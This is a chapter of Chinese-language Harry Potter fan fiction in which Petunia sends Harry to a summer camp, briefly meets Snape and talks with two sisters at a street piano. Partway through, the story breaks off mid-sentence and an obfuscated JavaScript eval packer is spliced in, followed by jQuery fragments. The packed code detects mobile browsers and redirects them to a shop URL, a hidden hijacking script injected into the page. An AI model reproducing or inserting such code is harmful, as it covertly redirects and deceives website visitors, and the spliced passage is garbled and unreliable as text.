“孩子们，你们的东西都带齐了吗？”索菲坐在那辆二手福特车的驾驶座上，一脚踩上了油门，那辆外表看起来有些破败的汽车没有任何缓冲，便一下滑了出去。
惯性把佩妮掼在了椅背上，一同被掼在座椅靠背上的，还有坐在后座的哈利和西比尔。
但他们早就学乖了，坐上这辆二手福特车后，他们就自动自觉地系上了安全带。
“噢，我始终觉得你这辆车比我的那辆更好开。”索菲说。
佩妮挣了点钱，低价从薇拉手里买下了那辆二手福特车，方便接送哈利往返小学，以及往墓园里搬送鲜花。
埃莉诺某一次回到科克沃斯，围着她的那辆二手车转了一圈，便跳到了驾驶座上，等她回来时，汽车的尾灯修好了。
最重要的是发动机，埃莉诺对她眨了眨眼睛，加了几个引擎，嘿哈利，现在你想和我们一起试试去追赶动车吗。
……
伊索尔德及时抱起了不明就里，朝向埃莉诺伸出双手要上车的哈利。
看着佩妮的脸色，埃莉诺补充道，别担心，一会儿我带你们去追动车的时候，就把汽车牌照给遮上，没人能抓得到我们的。
她打开驾驶座的门，揪着埃莉诺的衣领把她扯了下来，伊索尔德抱着哈利，向佩妮保证她会好好看着埃莉诺，绝不会单独让埃莉诺和哈利待在一起的。
现在，她们要送哈利和西比尔去伦敦。
索菲的那辆汽车在进行年度检查，她显然还没有完全适应佩妮的这辆汽车，佩妮担忧地看着她：“要不还是我来开？”
后座上的两个孩子立刻发出了尖叫。
“不，姨妈，让索菲阿姨开！”
“不，妈，就你来开！”
“嘿，安静点，哈利！”她转过身，向坐在后座的那个孩子说。
坐在哈利右手边的西比尔摇下车窗，车窗外吹来的风扬起她栗红色的头发。
风也吹动风车，时间风车的扇叶从一角吹到另一角，那个襁褓中的孩子也变成了如今这个坐在车后座上，头发乱蓬蓬的八岁男孩。
“他可真是一个漂亮的孩子。”将小费塞进为他们提供服务的哈利上衣口袋时，不止一人这么对佩妮说。
那可是莉莉的孩子，佩妮不置可否，只有一点——
“在夏令营的晚上，你不准举着手电筒在被窝里看绘本。”她看着哈利鼻梁上那个挡住了他那双翠绿色眼珠的碍事的眼镜，对他发出警告。
“我没有，姨妈！”哈利把从鼻梁上滑下去的眼镜推了上去，委屈地大声为自己辩解，“我有好好爱惜自己的眼睛。”
“可是我看见你行李箱里的绘本还有手电筒了，哈利。”坐在哈利右手边的西比尔冷酷无情地说。
“哈利？”佩妮对哈利露出了微笑。
“嘿，西比尔！”哈利试图扑向了西比尔，但安全带限制了他。西比尔在她的位置上咯咯大笑，对哈利坐起了鬼脸。
总之——不算大的汽车车厢里一下就吵了起来。
最后索菲不得不拍着方向盘叫道：“拜托，都安静点！”
站在暑期学习营的门口，哈利不肯松开佩妮的手。
“我有整整两个星期见不到姨妈了！”他瘪起嘴，推了推他的眼镜。
“我很遗憾，哈利。”佩妮尽量露出悲伤的神色。
“我会想你的，西比尔。”索菲也作势抹了抹她的眼角。
“妈妈，但你看起来一点也不难过！”西比尔无情地拆穿了她。
“嘿，哈利，西比尔，我带了一整套DNA，快点过来玩！”从学习营大门的里面跑出来一个孩子，举着一个硕大的纸盒呼唤哈利和西比尔。
哈利迅速松开了握着佩妮的手，牵着西比尔，头也不回地冲进了那栋建筑。
看着哈利和西比尔的背影，出于激动，索菲紧紧抱住了佩妮。
“我解放了，佩妮！”索菲眼睛里因感慨而涌出的泪光看起来比送别西比尔时真诚多了。
她也是，佩妮抬手抱住了索菲。
感谢阿加莎女士，感谢这种寄宿式的预备学院暑期项目——那本来是为西比尔准备的，她即将要升上中学，阿加莎与索菲对她的规划是去伦敦读文法中学，接着备考A level，为考大学做准备。
西比尔必须要上大学，索菲说。
但哈利——佩妮只能含糊地说，他要去苏格兰上他父母当年读的中学，那是他们的传统。
好吧，但索菲告诉她，这个暑期预备学院寄宿式项目哈利也能去，她强烈推荐哈利去，不仅仅是为了给西比尔作伴。
她认为索菲是对的，因为一想到，接下来整整为期两周的自由时光，佩妮露出了自哈利放暑假以来，最真挚的微笑。
“姨妈！”在哈利的声音响起来的时刻，佩妮迅速和索菲分了开来，并及时调整了各自的表情。
哈利的视线狐疑地落在了佩妮的脸上：“姨妈你和索菲阿姨为什么看起来都很开心。”
“怎么会，哈利！”拥有专业演员朋友的索菲义正言辞地对哈利说，“我们会很怀念你的，哈利，那么告诉索菲阿姨，你忘记了什么？”
哈利指了指被他忘记的，装满了绘本的行李箱。
佩妮把它塞进了哈利的手里。
“快点，哈利，快来掷骰子了，你不会又要掷一个大失败吧？”他的朋友已经在催促他了。
在掷骰子的诱惑还有探寻姨妈脸上那层让他疑惑的快乐之间，哈利纠结起来。
“姨妈！”最后掷骰子的诱惑还是战胜了一切，哈利用那双绿色的眼睛犹豫地看着佩妮，并要求她向他保证，“两周后你要准时来接我。”
在得到佩妮的保证后，哈利这才提着他的行李箱，冲进了夏令营的建筑里。
确保西比尔和哈利再也不会返回后，两位满脸严肃忧伤的女士才再次紧紧拥抱在了一起。
“敬自由！”佩妮说。
阳光洒在大街上，空气里满是柑橘的香甜味。
实际上那来源于她嘴里的柑橘味糖果——那是那家糖果店的招牌，柑橘的清新使她想到夏日穿透树林，照在尘埃上的光线。
她购买了一大包柑橘味糖果，保证来接哈利的时候，仍有余量。
事实上抱在她怀里的不止这一大包柑橘味的糖果。
接下来两周她想要看的书，普尔佳托她购买的烘焙类杂志，薇拉请求她带回去的时尚杂志——每个季节，薇拉的杂货铺都会根据时尚杂志，来选择下一季的饰品。
苹果——用来做苹果挞，柠檬汽水、面包，接下来的一段时间，她会关上她的房门，躺在她的床上，打开她的小说——谁也休想来打扰她。
沿街的橱窗倒映她快乐的身影，她愉悦又轻快的脚步踏成砸在琴键上，杂乱无章，却自有一派生机流动的音符。
钥匙。
靠近她的汽车时，佩妮想到了她的车钥匙。
那辆低调的红色轿车沿街开了过来，车窗摇下，露出索菲那专业演员朋友旁·佩普小姐戴着墨镜的一张漂亮的面颊。
她暂时不回科克沃斯了，索菲把钥匙匆匆扔给佩妮，便跳上了轿车，同旁·佩普小姐一同去享受她的阳光海滩去了。
钥匙被她随手放在了那里？
她怀里的东西有一些太多了，在口袋里翻找钥匙的时候，纸袋里的东西便不小心掉了一些到地上。
柑橘味的糖果从口腔的一侧滑至另一侧，她贪图于糖果的甜味和柑橘的清香，路上行人并不多，她便先从牛仔裤的口袋里摸出了她的车钥匙，再弯下腰，从地上把她的战利品一个个捡了起来。
汽水罐、饼干、巧克力球、面包……
最后是苹果。
苹果滚得最远，佩妮的视线追随着那个苹果，停在了一双漆黑的皮鞋旁边。
她站了起来。
那有力的音符还响在她的耳边，虽然听起来杂乱无章，但总有一股力量从把音符砸下去的手指间迸射出来。
那双漆黑的眼睛安静地看着她。
糖果现在停留在她的舌尖，将融化的糖水送到她的味蕾上。
那是我的苹果，她想，斯内普应该看见了苹果是从她的纸袋子里掉出去的，就滚落在他的脚边，他理应帮她捡起来，递给他。
可他一动也不动。
只是站在原地，用那双黑漆漆的，好像什么也没有的眼睛，注视着她。
他还穿着一身黑色的长袍——扣子扣到最上面一颗，但没有披上她去蜘蛛尾巷做翻译时，常见他披着的那件黑色斗篷。
她只好叹一口气，把柑橘糖果从舌尖推到口腔的一侧，向他走过去。
她走到他面前，抬头看着他。
就在她弯下腰，要去捡他脚边的红苹果时。
他先一步移开了他的眼睛，弯下腰，伸出他的手，替她从地上拾起了那个苹果。
她含着那颗糖果，视线不得不从他黑色的头发，因低头而露出来的后脖颈，脊背，腰部滑过去。
他很快就站了起来，将苹果悬到她怀里纸袋的上方，松开手，让苹果掉了进去。
佩妮刚掏出几颗柑橘味的糖果，要对他说谢谢。
可他根本不等她，从她身边快速地走了过去，只给她留下一个步履匆忙的背影，和空气中一点极淡的草药味道。
钢琴停了下来——原来那乱糟糟的音符，不是她的错觉，是真有人在弹奏。
街头那台黑色钢琴的琴凳上坐着一个女孩。
她的头发可真有意思，黑色头发的发尾像蜗牛壳一样一圈一圈的朝天空上翘着，她转过身同佩妮说话的时候，佩妮看见了她左额头上一颗黄豆大小的黑色胎记。
“He is so hot.”那女孩对佩妮说。
她的眼神使佩妮不自觉就向那个女孩，还有那台钢琴走了过去。
佩妮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996939|177776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的视线落在女孩的发旋上。
“柑橘糖太香了，你刚走过来的时候，我就闻到了，我也要一颗。”那女孩理直气壮地对佩妮说。
佩妮从纸袋里掏出一颗糖，放到女孩朝上的手心上，看她撕开包装，捏起那颗糖果，张开嘴，仰起头，以一种夸张的姿势扔进了嘴里。
她喜欢这个女孩，佩妮在心里说。
“他像个神父，”女孩说，“他把扣子扣到了最上面一颗，要我说，你看着他时，他恨不得连眼睛上都扣上扣子。”
佩妮和她对视了一眼，同时抿唇笑了出来。
那女孩重又把手指放在了雪白的琴键上，重重按了下去：“我喜欢神父。”
那乱七八糟的音符又从女孩的手里流淌了出来：“他逃跑时就像有狐狸在追着他。”
“狐狸？”
“嗯，狐狸。”
“你未来想做一名音乐家吗？”佩妮看着那女孩用力按着琴键的手，说实话她肯定没学过钢琴，弹出来的一点都不专业，但是她弹得很认真，很用力。
好像要把她瘦小身体里的无穷能量，都从琴键里弹奏出来一样。
“不，我没学过钢琴，我只是走出来，看到这里有一架钢琴，它很漂亮——可是来来往往这么多人，都没人为它停下来，所以我就停下来了。”女孩看着琴键说，“我的梦想其实是和小波开一家咖啡店，然后按照25英镑的价格把素食三明治卖给克莱尔——她肯定会买的。”
“克莱尔是谁？你跟她有仇吗?”
"克莱尔是我的亲姐姐，她不知道……"
“你为什么偷偷跑到了这里！”一声尖锐的叫声打断了那个女孩的话，另外一个穿着漂亮礼裙，金色头发梳得整齐又漂亮的女孩跑了过来。
“她们都在找你，但是你一声不吭就跑了出来！”金发女孩苍白的脸涨得通红，有一瞬间，佩妮从她身上看见了自己的影子。
“嘿，克莱尔，冷静一点，你不是找到我了吗？你难道也很想参加那个展会吗？”黑发女孩说。
这时佩妮才发现那个黑发女孩也穿了一件漂亮的粉色礼裙，但她把袖子卷了上去，露出她的两条胳膊，礼裙上的粉色蝴蝶结被她拆了下来，随意地扔在钢琴凳上——她把一件本来优雅漂亮的礼裙穿得乱起八糟的。
事实上，碰见这个黑发女孩的时候，佩妮只留意到了她的琴声，她说的话，根本没有注意到她穿的什么。
“展览？什么展览？”
“我妈妈为她最得意的学生办的展览。”黑发女孩说。
“关于什么？”佩妮好奇地问。
“Breast。”金发女孩试图阻拦黑发女孩，但黑发女孩拨开了她想要拦住她嘴的手，对佩妮露出了一个狡黠的微笑。
金发女孩尖叫了起来：“这是在公共场合！”
“克莱尔，你又不是没有，我也有，你也有，她也有，你在尖叫什么？”
金发女孩像被强行按下了一个开关，闭上了嘴，脸涨得通红。
“我妈妈做了一个残臂维纳斯的雕像。她的学生看见了，也要做一个类似的。我妈妈有什么，她就要什么，有时候我认为她也想成为我的妈妈。”那黑发女孩耸了耸肩，对佩妮无所谓地说道。
她一点儿也无所谓，可站在她旁边的那个金发女孩看起来却要哭了，她的胸膛挺起又落下，隐约有泪珠从她那双看着她妹妹的眼睛中落下。
佩妮从纸袋子里摸出了一个柑橘味的糖果，递给那个金发女孩：“你头发看起来真漂亮。”
“噢，不，我不……”佩妮看出来那个金发女孩一开始并不想要佩妮的糖果——出于淑女的礼仪。
“得了吧，克莱尔，这颗糖超级好吃。”
“这儿又不是会场，没有人在看着你，放轻松。”
于是那名金发的女孩不得已，接过了佩妮递给她的糖果。
她的泪水被打断了，旋即愤怒又涌上了她的脸旁：“现在，立刻，跟我回到会展去。”
“好吧，如果是你要求的话。”那黑头发女孩从钢琴的琴凳上跳了下来。
“我还能再要几颗糖果吗？”黑发女孩向佩妮又讨要了几颗糖果，牵住了金发女孩的手，往街道的另一边走去。
佩妮看着她们的背影。
黑发女孩紧紧牵着金发女孩的手，金发女孩想甩开，但黑发女孩不让。
佩妮看见金发女孩伸出一只手盖在了她自己的眼前。
直到这对奇怪的姐妹转过街角消失不见了。
柑橘糖已经完全融化在她的口腔里了，甜味消失殆尽，但残余的柑橘味仍萦绕着她。
他逃跑时就像有狐狸在追着他，她被那个女孩奇思妙想的比喻逗笑了。
佩妮抱着她的纸袋，走向街道另一边，等着她的那辆二手福特车。
等到下一次，她去到蜘蛛尾巷做翻译时，她倒要问问他，是不是真的有狐狸在追着他。